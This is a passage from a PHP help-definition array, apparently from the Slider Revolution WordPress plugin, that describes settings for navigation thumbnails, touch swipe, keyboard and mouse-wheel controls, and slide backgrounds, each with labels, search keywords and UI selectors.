=> true, $o => 'nav_thumbs') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_posi', $f => "*[name='sr_thumbsalign'][value='slider']" ) ), 'inner_outer' => array( $t => __("Inner/Outer", 'revsliderhelp'), $h => "nav.thumbs.innerOuter", $k => array("thumbs. thumbs position", "thumbs inner", "thumbs outer", "inner outer", "inner", "outer vertical", "outer horizontal"), $d => __("Choose if the thumbs should appear inside or outside the Slider's main content area", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_posi', $f => "*[name='sr_thumbsinnerouter'][value='inner']" ) ), 'alignment' => array( $t => __("Alignment", 'revsliderhelp'), $h => "nav.thumbs.horizontal, nav.thumbs.vertical", $k => array("thumb align", "thumb alignment", "thumb position", "thumbs position"), $d => __("The Thumb's alignment position in the Slider before any offset(s) are applied", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_posi', $f => "#thumbspos_selector_center-center" ) ), 'offsetx' => array( $t => __("Offset X", 'revsliderhelp'), $h => "nav.thumbs.offsetX", $k => array("thumb position", "thumb offset"), $d => __("Offset the Thumb's horizontal position by this amount. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_posi', $f => "#nav_thumbs_offsetx" ) ), 'offsety' => array( $t => __("Offset Y", 'revsliderhelp'), $h => "nav.thumbs.offsetY", $k => array("thumb position", "thumb offset"), $d => __("Offset the Thumb's vertical position by this amount. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_posi', $f => "#nav_thumbs_offsety" ) ), 'visible_amount' => array( $t => __("Num. Thumbs", 'revsliderhelp'), $h => "nav.thumbs.amount", $k => array("thumbs amount", "num thumbs", "number thumbs"), $d => __("The maximum number of thumbs that should be visible regardless of the screen size", 'revsliderhelp'), $a => $u . "navigation-thumbs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_posi', $f => "#nav_thumbs_amount" ) ) ), 'size' => array( 'space' => array( $t => __("Spacing", 'revsliderhelp'), $h => "nav.thumbs.space", $k => array("thumbs space", "thumbs spacing", "thumb space", "thumbs spacing", "thumb margin", "thumb padding", "thumbs margin", "thumbs padding"), $d => __("The space between each individual thumb (in pixels)", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_size', $f => "#nav_thumbs_space" ) ), 'width' => array( $t => __("Width", 'revsliderhelp'), $h => "nav.thumbs.width", $k => array("thumbs width", "thumb width", "thumbs size", "thumb size"), $d => __("The default width for each individual thumb", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_size', $f => "#nav_thumbs_width" ) ), 'min_width' => array( $t => __("Minimum Width", 'revsliderhelp'), $h => "nav.thumbs.widthMin", $k => array("thumbs min-width", "thumbs min-width", "thumbs size", "thumb size", "thumbs min width", "thumbs minimum width"), $d => __("The minimum width for each individual thumb", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_size', $f => "#nav_thumbs_widthMin" ) ), 'height' => array( $t => __("Height", 'revsliderhelp'), $h => "nav.thumbs.height", $k => array("thumbs height", "thumbs height", "thumbs size", "thumb size"), $d => __("The default height for each individual thumb", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_size', $f => "#nav_thumbs_height" ) ) ), 'wrapper' => array( 'color' => array( $t => __("Wrapper Color", 'revsliderhelp'), $h => "nav.thumbs.wrapperColor", $k => array("thumbs color", "thumbs color", "thumbs size", "thumb size"), $d => __("The background color for the thumbs main wrapper", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_wrap', $f => "#sliderThumbBgColor" ) ), 'padding' => array( $t => __("Padding", 'revsliderhelp'), $h => "nav.thumbs.padding", $k => array("thumbs wrapper", "thumbs wrapper padding", "wrapper padding"), $d => __("The CSS padding that will be applied to the thumbs outer wrapper div", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_wrap', $f => "#nav_thumbs_padding" ) ), 'span' => array( $t => __("Span/Full-Width", 'revsliderhelp'), $h => "nav.thumbs.spanWrapper", $k => array("thumbs span", "thumbs wrapper", "thumbs wrapper span", "thumbs full width", "thumbs full-width"), $d => __("Choose if the wrapper should be displayed as a block or an inline-block", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_wrap', $f => "#sr_thumbspan" ) ) ), 'visibility' => array( 'rtl' => array( $t => __("Right to Left", 'revsliderhelp'), $h => "nav.thumbs.rtl", $k => array("rtl", "right to left", "right-to-left"), $d => __("Use RTL language alignment for the Arrow positioning", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_visi', $f => "#sr_thumbsrtl" ) ), 'animation' => array( $t => __("Thumbs Animation", 'revsliderhelp'), $h => "nav.thumbs.anim", $k => array("thumbs animation", "bullet animation", "show thumbs", "hide thumbs", "navigation animation"), $d => __("Optionally animate the thumbs into and out of view when the slider first loads and on mouse hover", 'revsliderhelp'), $a => $u . "navigation-thumbs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_visi', $f => "#sr_thumbs_animation" ) ), 'show_speed' => array( $t => __("Thumbs Animation Speed", 'revsliderhelp'), $h => "nav.thumbs.animSpeed", $k => array("thumbs visibility", "show speed", "navigation speed"), $d => __("The animation speed for when the Thumbs animate into and out of view", 'revsliderhelp'), $a => $u . "navigation-thumbs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_visi', $f => "#nav_thumb_animSpeed" ) ), 'show_delay' => array( $t => __("Thumbs Show Delay", 'revsliderhelp'), $h => "nav.thumbs.animDelay", $k => array("thumbs visibility", "navigation delay"), $d => __("A delay in milliseconds before the Thumbs animate into view", 'revsliderhelp'), $a => $u . "navigation-thumbs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_visi', $f => "#nav_thumb_animDelay" ) ), 'hide_after' => array( $di => "nav_hideafter", $t => __("Hide After", 'revsliderhelp'), $h => "nav.thumbs.alwaysOn", $k => array("thumbs visibility", "hide after"), $d => __("Auto-hide the thumbs after a set amount of time (will be shown again when the user hovers/taps the Slider)", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_visi', $f => "#sr_thumbsalwshow" ) ), 'hide_after_desktop' => array( $t => __("Hide After: Desktop", 'revsliderhelp'), $h => "nav.thumbs.hideDelay", $k => array("thumbs visibility", "hide after", "hide after desktop"), $d => __("The amount of the time before the Thumbnails are hidden on Desktop computers (in milliseconds)", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs'), array($p => 'settings.nav.thumbs.alwaysOn', $v => true, $o => 'nav_hideafter') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_visi', $f => "#nav_thumbs_hideDelay" ) ), 'hide_after_mobile' => array( $t => __("Hide After: Mobile", 'revsliderhelp'), $h => "nav.thumbs.hideDelayMobile", $k => array("thumbs visibility", "hide after", "hide after desktop"), $d => __("The amount of the time before the Thumbnails are hidden on mobile devices (in milliseconds)", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs'), array($p => 'settings.nav.thumbs.alwaysOn', $v => true, $o => 'nav_hideafter') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_visi', $f => "#nav_thumbs_hideDelayMobile" ) ), 'hide_under' => array( $di => "nav_hideunder", $t => __("Hide Under", 'revsliderhelp'), $h => "nav.thumbs.hideUnder", $k => array("thumbs visibility", "hide under", "hide under width"), $d => __("Hide the Thumbnails when the browser window is equal to or below a certain number", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_visi', $f => "#sr_thumbshideunder" ) ), 'hide_under_limit' => array( $t => __("Hide Under Limit", 'revsliderhelp'), $h => "nav.thumbs.hideUnderLimit", $k => array("thumbs visibility", "hide under", "hide under limit"), $d => __("Hide the Thumbnails when the browser window is equal to or below this number", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs'), array($p => 'settings.nav.thumbs.hideUnder', $v => true, $o => 'nav_hideunder') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_visi', $f => "#nav_thumbs_hideunderlimit" ) ), 'hide_over' => array( $di => "nav_hideover", $t => __("Hide Over", 'revsliderhelp'), $h => "nav.thumbs.hideOver", $k => array("thumbs visibility", "hide over", "hide over limit"), $d => __("Hide the Thumbnails when the browser window is equal to or above a certain number", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_visi', $f => "#sr_thumbshideover" ) ), 'hide_over_limit' => array( $t => __("Hide Over Limit", 'revsliderhelp'), $h => "nav.thumbs.hideOverLimit", $k => array("thumbs visibility", "hide over", "hide over limit"), $d => __("Hide the Thumbnails when the browser window is equal to or above this number", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs'), array($p => 'settings.nav.thumbs.hideOver', $v => true, $o => 'nav_hideover') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_visi', $f => "#nav_thumbs_hideoverlimit" ) ) ) ), 'gst_nav_6' => array( 'width' => array( $t => __("Preview Image Width", 'revsliderhelp'), $h => "nav.preview.width", $k => array("preview image", "prev image", "preview image width", "prev image width"), $d => __("The width of the navigation preview image", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')), $m => "#module_navigation_trigger, #gst_nav_6", $st => '#form_nav_pprevima', $f => "#nav_prev_width" ) ), 'height' => array( $t => __("Preview Image Height", 'revsliderhelp'), $h => "nav.preview.height", $k => array("preview image", "prev image", "preview image height", "prev image height"), $d => __("The height of the navigation preview image", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')), $m => "#module_navigation_trigger, #gst_nav_6", $st => '#form_nav_pprevima', $f => "#nav_prev_height" ) ) ), 'gst_nav_7' => array( 'enable' => array( $t => __("Enable Touch Swipe", 'revsliderhelp'), $h => "nav.swipe.set", $k => array("touch", "touch swipe", "swipe", "mobile"), $d => __("Enable touch swiping to navigate to the previous/next slides", 'revsliderhelp'), $a => $u . "touch-swipe/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')), $m => "#module_navigation_trigger, #gst_nav_7", $st => '#form_nav_touch', $f => "#sr_usetouch" ) ), 'enable_desktop' => array( $t => __("Enable Touch Swipe for Desktop", 'revsliderhelp'), $h => "nav.swipe.setOnDesktop", $k => array("touch", "touch swipe", "swipe", "desktop", "touch desktop", "touch swipe desktop"), $d => __("Enable touch swiping on Desktop computers to navigate to the previous/next slides", 'revsliderhelp'), $a => $u . "touch-swipe/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')), $m => "#module_navigation_trigger, #gst_nav_7", $st => '#form_nav_touch', $f => "#sr_usetouchdesktop" ) ), 'drag_block_vertical' => array( $t => __("Drag Block Vertical", 'revsliderhelp'), $h => "nav.swipe.blockDragVertical", $k => array("drag", "drag block", "drag block vertical"), $d => __("Choose if the page and its contents should be scrolled when swiping vertically", 'revsliderhelp'), $a => $u . "touch-swipe/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')), $m => "#module_navigation_trigger, #gst_nav_7", $st => '#form_nav_touch', $f => "#sr_blockDragVertical" ) ), 'velocity' => array( $t => __("Swipe Velocity", 'revsliderhelp'), $h => "nav.swipe.velocity", $k => array("velocity", "swipe", "touch swipe", "swipe velocity", "swipe sensitivity", "touch sensitivity"), $d => __("The amount of pixels that need to be swiped before a Slide change occurs", 'revsliderhelp'), $a => $u . "touch-swipe/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')), $m => "#module_navigation_trigger, #gst_nav_7", $st => '#form_nav_touch', $f => "#nav_swipe_velocity" ) ), 'min_touch' => array( $t => __("Min. Fingers", 'revsliderhelp'), $h => "nav.swipe.minTouch", $k => array("min finger", "min fingers", "swipe", "touch", "touch swipe", "minimum finger", "minimum fingers"), $d => __("The number of fingers needed in the swipe action for a Slide change to occur", 'revsliderhelp'), $a => $u . "touch-swipe/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')), $m => "#module_navigation_trigger, #gst_nav_7", $st => '#form_nav_touch', $f => "#nav_swipe_minTouch" ) ), 'orientation' => array( $t => __("Swipe Orientation", 'revsliderhelp'), $h => "nav.swipe.direction", $k => array("orientation", "swipe orientation", "swipe direction", "touch direction"), $d => __("The swipe direction that will trigger a Slide change", 'revsliderhelp'), $a => $u . "touch-swipe/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')), $m => "#module_navigation_trigger, #gst_nav_7", $st => '#form_nav_touch', $f => "*[name='sr_swipedirection'][value='horizontal']" ) ) ), 'gst_nav_8' => array( 'enable' => array( $t => __("Enable Keyboard Navigation", 'revsliderhelp'), $h => "nav.keyboard.set", $k => array("keyboard", "key", "left key", "right key", "up key", "down key"), $d => __("Enable left/right/up/down keys to control the Slider", 'revsliderhelp'), $a => $u . "keyboard-arrows-mouse-wheel/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')), $m => "#module_navigation_trigger, #gst_nav_8", $st => '#form_nav_misc', $f => "#sr_usekeyboard" ) ), 'direction' => array( $t => __("Key Arrow Direction", 'revsliderhelp'), $h => "nav.keyboard.direction", $k => array("keyboard", "key", "left key", "right key", "up key", "down key"), $d => __("Choose to use left/right keys or up/down keys to change Slides", 'revsliderhelp'), $a => $u . "keyboard-arrows-mouse-wheel/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')), $m => "#module_navigation_trigger, #gst_nav_8", $st => '#form_nav_misc', $f => "*[name='sr_keyboarddirection'][value='horizontal']" ) ) ), 'gst_nav_9' => array( 'enable' => array( $t => __("Enable Mouse Scroll", 'revsliderhelp'), $h => "nav.mouse.set", $k => array("mouse scroll", "scroll", "mouse", "mouse wheel", "wheel"), $d => __("Enable mouse scrolling to control Slide changes", 'revsliderhelp'), $a => $u . "keyboard-arrows-mouse-wheel/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')), $m => "#module_navigation_trigger, #gst_nav_9", $st => '#form_nav_mousescroll', $f => "*[name='sr_mousenavigation'][value='on']" ) ), 'reverse' => array( $t => __("Reverse Scroll", 'revsliderhelp'), $h => "nav.mouse.reverse", $k => array("mouse scroll", "scroll", "mouse", "direction", "reverse", "reverse scroll", "wheel", "mouse wheel"), $d => __("Choose which direction the mouse wheel should be scrolled to change Slides", 'revsliderhelp'), $a => $u . "keyboard-arrows-mouse-wheel/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')), $m => "#module_navigation_trigger, #gst_nav_9", $st => '#form_nav_mousescroll', $f => "*[name='sr_reversemousenavigation'][value='reverse']" ) ), 'target' => array( $t => __("Scroll Target", 'revsliderhelp'), $h => "nav.mouse.target", $k => array("mouse scroll", "scroll", "mouse", "scroll target", "target"), $d => __("Choose the page target object which scrolls in your theme so its scroll position can be animated while snapping", 'revsliderhelp'), $a => $u . "keyboard-arrows-mouse-wheel/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')), $m => "#module_navigation_trigger, #gst_nav_9", $st => '#form_nav_mousescroll', $f => "*[name='sr_targetmousenavigation']" ) ), 'threshold' => array( $t => __("Snap Threshold", 'revsliderhelp'), $h => "nav.mouse.threshold", $k => array("mouse scroll", "scroll", "mouse", "scroll snap", "snap threshold"), $d => __("Sets the threshold within which slider will snap into position while scrolling, threshold is calculated based on slider's distance from top and bottom", 'revsliderhelp'), $a => $u . "keyboard-arrows-mouse-wheel/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')), $m => "#module_navigation_trigger, #gst_nav_9", $st => '#form_nav_mousescroll', $f => "#wheelsnapthreshold" ) ), 'viewport' => array( $t => __("In ViewPort (%)", 'revsliderhelp'), $h => "nav.mouse.viewport", $k => array("mouse scroll", "scroll", "mouse", "scroll viewport"), $d => __("Determines how much % of slider should be visible when slider should change slide on scroll", 'revsliderhelp'), $a => $u . "keyboard-arrows-mouse-wheel/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')), $m => "#module_navigation_trigger, #gst_nav_9", $st => '#form_nav_mousescroll', $f => "#wheelifvisible" ) ) ) ), 'slide_settings' => array( 'gst_slide_1' => array( 'type' => array( $di => "slide_bg_type", $t => __("Main Slide Background", 'revsliderhelp'), $h => "bg.type", $k => array("slide", "slide settings", "background", "bg", "image", "image background"), $d => __("Set the Slide's Main background to a color, image or video", 'revsliderhelp'), $a => $u . "slide-background/", $hl => array($m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_source', $f => "#slide_bg_type") ), 'color' => array( $t => __("Slide Background Color", 'revsliderhelp'), $h => "bg.color", $k => array("slide", "slide settings", "background", "bg", "image", "images", "bg color", "background color"), $d => __("Set the Slide's Main background to a color, image or video", 'revsliderhelp'), $a => $u . "slide-background/", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'solid', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_source', $f => "#s_bg_color" ) ), 'external_url' => array( $t => __("External Image URL", 'revsliderhelp'), $h => "bg.externalSrc", $k => array("slide", "slide settings", "background", "bg", "image", "images", "slide background", "image background"), $d => __("An image url to be used as the Slide's main background image", 'revsliderhelp'), $a => $u . "slide-background/", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'external', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_source', $f => "#s_ext_src" ) ), 'image_background' => array( 'cross_origin_video' => array( $t => __("Cross Origin Video", 'revsliderhelp'), $h => "bg.crossOriginVideo", $k => array("cross origin video", "video background"), $d => __("By default videos are not requested with CORS header and you may get CORS error (Cross-Origin Request Blocked), to resolve it please enable this option. If your third party server does not deliver videos with CORS permission then you will get CORS error. In that case either use videos from same server as your website's origin or enable CORS permissions for videos on third party server.", 'revsliderhelp'), $a => $u . "slide-background/#video", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'html5', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_source', $f => "*[data-r='bg.crossOriginVideo']" ) ), 'image_from_stream' => array( $t => __("Image from Stream", 'revsliderhelp'), $h => "bg.imageFromStream", $k => array("stream", "stream background", "poster", "youtube poster", "vimeo poster", "video poster"), $d => __("The Slide's main background will be populated automatically for Video/Social-Stream Sliders", 'revsliderhelp'), $a => $u . "slide-background/#image", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'image::external::youtube::vimeo::html5', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_source', $f => "*[data-r='bg.imageFromStream']" ) ), 'source_size' => array( $t => __("Source Size", 'revsliderhelp'), $h => "bg.imageSourceType", $k => array("background image", "slide image", "bg image"), $d => __("The size of the image that will be loaded, defined by WP Main Menu -> Settings -> Media -> Image Sizes", 'revsliderhelp'), $a => $u . "slide-background/#image", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'image', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_ssettings', $f => "#slide_bg_img_ssize" ) ), 'bg_fit' => array( $t => __("Background Fit", 'revsliderhelp'), $h => "bg.fit", $k => array("background image", "slide image", "bg image", "bg size", "background size", "bg fit", "background fit"), $d => __("The CSS background-size for the Slide's main background image", 'revsliderhelp'), $a => $u . "slide-background/#image", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_ssettings', $f => "*[name='slide_bg_fit'][value='cover']" ) ), 'bg_repeat' => array( $t => __("Background Repeat", 'revsliderhelp'), $h => "bg.repeat", $k => array("background image", "slide image", "bg image", "bg repeat", "background repeat"), $d => __("The CSS background-fit for the Slide's main background image", 'revsliderhelp'), $a => $u . "slide-background/#image", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_ssettings', $f => "#slide_bg_repeat" ) ), 'bg_position' => array( $t => __("Background Position", 'revsliderhelp'), $h => "bg.position", $k => array("background image", "slide image", "bg image", "bg position", "background position"), $d => __("The CSS background-position for the Slide's main background image", 'revsliderhelp'), $a => $u . "slide-background/#image", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_ssettings', $f => "#slide_bg_position_center-center" ) ), 'parallax_3d' => array( $t => __("Parallax Level", 'revsliderhelp'), $h => "effects.parallax", $k => array("parallax", "parallax level", "background parallax bg image parallax", "bg parallax"), $d => __("The movement strength that will be applied to the Slide's main background image", 'revsliderhelp'), $a => $u . "slide-background/", $hl => array( $dp => array(array($p => 'settings.parallax.set', $v => true, $o => 'slider_parallax')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_pddd', $f => "#slide_parallax_level" ) ), 'attributes' => array( 'alt_attr' => array( $di => "slide_attributes_alt", $t => __("Alt Attribute", 'revsliderhelp'), $h => "attributes.altOption", $k => array("background image alt", "alt attribute", "bg alt", "image alt"), $d => __("Define the 'alt' attribute for the Slide's main background image. Useful for SEO purposes.", 'revsliderhelp'), $a => $u . "slide-background/#image", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_ssettings', $f => "#slide_bg_image_alt" ) ), 'alt_custom' => array( $t => __("Custom Alt Attribute", 'revsliderhelp'), $h => "attributes.alt", $k => array("background image alt", "alt attribute", "bg alt", "image alt"), $d => __("Enter custom alternative text for the Slide's main background image. Useful for SEO purposes.", 'revsliderhelp'), $a => $u . "slide-background/#image", $hl => array( $dp => array( array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'), array($p => '#slide#.slide.attributes.altOption', $v => 'custom', $o => 'slide_attributes_alt') ), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_ssettings', $f => "#slide_bg_img_calt" ) ), 'title_attr' => array( $di => "slide_attributes_title", $t => __("Title Attribute", 'revsliderhelp'), $h => "attributes.titleOption", $k => array("background image title", "alt attribute", "bg title", "image title"), $d => __("Define the 'title' attribute for the Slide's main background image. Useful for screen readers.", 'revsliderhelp'), $a => $u . "slide-background/#image", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_ssettings', $f => "#slide_bg_image_title" ) ), 'title_custom' => array( $t => __("Custom Title Attribute", 'revsliderhelp'), $h => "attributes.title", $k => array("background image title", "title attribute", "bg title", "image title"), $d => __("Enter a custom title for the Slide's main background image. Useful for screen readers.", 'revsliderhelp'), $a => $u . "slide-background/#image", $hl => array( $dp => array( array($p => '#slide#.slide.bg.type', $v => 'image::external', $o => 'slide_bg_type'), array($p => '#slide#.slide.attributes.titleOption', $v => 'custom', $o => 'slide_attributes_title') ), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_ssettings', $f => "#slide_bg_img_ctit" ) ) ), 'external_image' => array( 'external_width' => array( $t => __("External Image Width", 'revsliderhelp'), $h => "bg.width", $k => array("background image width", "external image width", "external image"), $d => __("Define a custom width attribute for external image urls", 'revsliderhelp'), $a => $u . "slide-background/#image", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'external', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_ssettings', $f => "#slide_bg_width" ) ), 'external_height' => array( $t => __("External Image Height", 'revsliderhelp'), $h => "bg.height", $k => array("background image height", "external image height", "external image"), $d => __("Define a custom height attribute for external image urls", 'revsliderhelp'), $a => $u . "slide-background/#image", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'external', $o => 'slide_bg_type')), $m => 